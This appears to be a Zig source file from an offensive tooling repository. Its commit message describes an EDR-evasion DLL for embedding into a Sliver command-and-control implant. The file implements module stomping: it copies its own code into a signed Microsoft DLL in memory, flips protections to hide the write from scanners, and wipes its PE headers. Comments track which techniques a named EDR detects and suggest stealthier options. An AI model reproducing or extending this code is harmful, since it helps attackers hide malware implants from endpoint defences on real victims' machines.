fe2726a430
evasion/ - zig dll with rc4 encrypted sleep, hwbp amsi/etw bypass, freshycalls indirect syscall dispatch, callstack spoofing via asm trampoline, ntdll unhooking, module stomping, token manipulation. all techniques verified against dbgman edr tradecraft (may 2026). ret patch removed (instant detection). comments updated with detection status on each technique. go-bridge/ - reflective pe loader + clean go api for sliver integration. drop this package into sliver's implant/ dir, replace time.sleep with evasionsleep. build: zig build -doptimize=releaseFast -> embed dll bytes
129 lines
5.4 KiB
Zig
129 lines
5.4 KiB
Zig
// Module stomping — copies .text into a signed Microsoft DLL, wipes PE headers.
|
|
// Reference: https://dtsec.us/2023-11-04-ModuleStompin/
|
|
// DETECTION: DbgMan (May 2026): "Backing-file integrity check: for image-backed regions,
|
|
// compare the in-memory bytes against the corresponding file offsets on disk. Divergence
|
|
// indicates module stomping." PE header zeroing is a known signature. RWX on signed
|
|
// Microsoft DLL triggers behavioral alert. Consider DLL sideloading or threadless
|
|
// injection as alternatives for modern EDR environments.
|
|
const win = @import("win32.zig");
|
|
const resolve = @import("resolve.zig");
|
|
const syscall = @import("syscall.zig");
|
|
const pe = @import("pe.zig");
|
|
|
|
pub var g_evasion_relocated: bool = false;
|
|
|
|
// Core stomp flow: copies our .text into a target signed Microsoft DLL, then wipes our headers.
|
|
// our_base is the DLL base passed from the Go reflective loader (not PEB-discoverable).
|
|
// Targets are chosen from a shortlist of signed Microsoft DLLs that are always loaded in most processes.
|
|
pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque {
|
|
const targets = [_][]const u8{ "crypt32.dll", "dwrite.dll", "msvcp_win.dll" };
|
|
|
|
if (our_base == null) return null;
|
|
|
|
// Walk PEB to find a suitable signed Microsoft DLL target
|
|
const peb = resolve.get_peb();
|
|
const ldr = peb.Ldr;
|
|
const head = @as(*resolve.LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
|
|
|
|
var target_base: ?*anyopaque = null;
|
|
var target_size: usize = 0;
|
|
|
|
var entry = head.Flink;
|
|
while (entry != head) : (entry = entry.Flink) {
|
|
const le: *resolve.LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(resolve.LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
|
|
|
|
if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue;
|
|
|
|
// Match against our target shortlist (crypt32, dwrite, msvcp_win)
|
|
if (target_base == null) {
|
|
const buf = le.BaseDllName.Buffer;
|
|
const len = le.BaseDllName.Length / 2;
|
|
for (targets) |target| {
|
|
if (target.len == len) {
|
|
var matches = true;
|
|
var ci: usize = 0;
|
|
while (ci < len) : (ci += 1) {
|
|
var c1 = buf[ci];
|
|
var c2 = target[ci];
|
|
if (c1 >= 'A' and c1 <= 'Z') c1 += 32;
|
|
if (c2 >= 'A' and c2 <= 'Z') c2 += 32;
|
|
if (c1 != c2) { matches = false; break; }
|
|
}
|
|
if (matches) {
|
|
target_base = le.DllBase;
|
|
target_size = le.SizeOfImage;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if (target_base != null) break;
|
|
}
|
|
|
|
if (target_base == null) return null;
|
|
|
|
// Parse our own PE to locate the .text section
|
|
const own_bytes = @as([*]u8, @ptrCast(our_base.?));
|
|
const dos = @as(*const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(own_bytes)));
|
|
if (dos.e_magic != 0x5A4D) return null;
|
|
|
|
const nt = @as(*const pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(own_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
|
if (nt.Signature != 0x00004550) return null;
|
|
|
|
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
|
|
const sections = @as([*]const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(own_bytes + section_off)));
|
|
|
|
// Scan section table for .text
|
|
var text_start: ?*anyopaque = null;
|
|
var text_size: usize = 0;
|
|
for (0..nt.FileHeader.NumberOfSections) |i| {
|
|
if (sections[i].Name[0] == '.' and sections[i].Name[1] == 't' and sections[i].Name[2] == 'e' and sections[i].Name[3] == 'x' and sections[i].Name[4] == 't') {
|
|
text_start = @as(*anyopaque, @ptrCast(own_bytes + sections[i].VirtualAddress));
|
|
text_size = sections[i].VirtualSize;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (text_start == null or text_size == 0) return null;
|
|
|
|
// Step 1: Make target memory RWX so we can write into it
|
|
var target_mut: ?*anyopaque = target_base;
|
|
var region_size: win.SIZE_T = target_size;
|
|
var old_prot: win.ULONG = 0;
|
|
const st = syscall.nt_protect_virtual_memory(
|
|
syscall.nt_current_process(),
|
|
&target_mut,
|
|
®ion_size,
|
|
win.PAGE_EXECUTE_READWRITE,
|
|
&old_prot,
|
|
);
|
|
if (!win.NT_SUCCESS(st)) return null;
|
|
|
|
// Step 2: Copy our .text into the target DLL's memory range
|
|
const dest = @as([*]u8, @ptrCast(target_mut orelse target_base.?));
|
|
const src = @as([*]const u8, @ptrCast(text_start.?));
|
|
@memcpy(dest[0..text_size], src[0..text_size]);
|
|
|
|
// Step 3: Restore target to RX so it looks normal to memory scanners
|
|
var restore_mut: ?*anyopaque = target_mut orelse target_base.?;
|
|
var restore_size: win.SIZE_T = target_size;
|
|
var new_old: win.ULONG = 0;
|
|
_ = syscall.nt_protect_virtual_memory(
|
|
syscall.nt_current_process(),
|
|
&restore_mut,
|
|
&restore_size,
|
|
win.PAGE_EXECUTE_READ,
|
|
&new_old,
|
|
);
|
|
|
|
// Step 4: Zero out our original headers so scanners can't find a rogue DLL header
|
|
const old_bytes = @as([*]u8, @ptrCast(our_base.?));
|
|
const e_lfanew = dos.e_lfanew;
|
|
@memset(old_bytes[0..64], 0);
|
|
@memset(old_bytes[@as(usize, @intCast(e_lfanew)) .. @as(usize, @intCast(e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64)], 0);
|
|
|
|
g_evasion_relocated = true;
|
|
return our_base;
|
|
}
|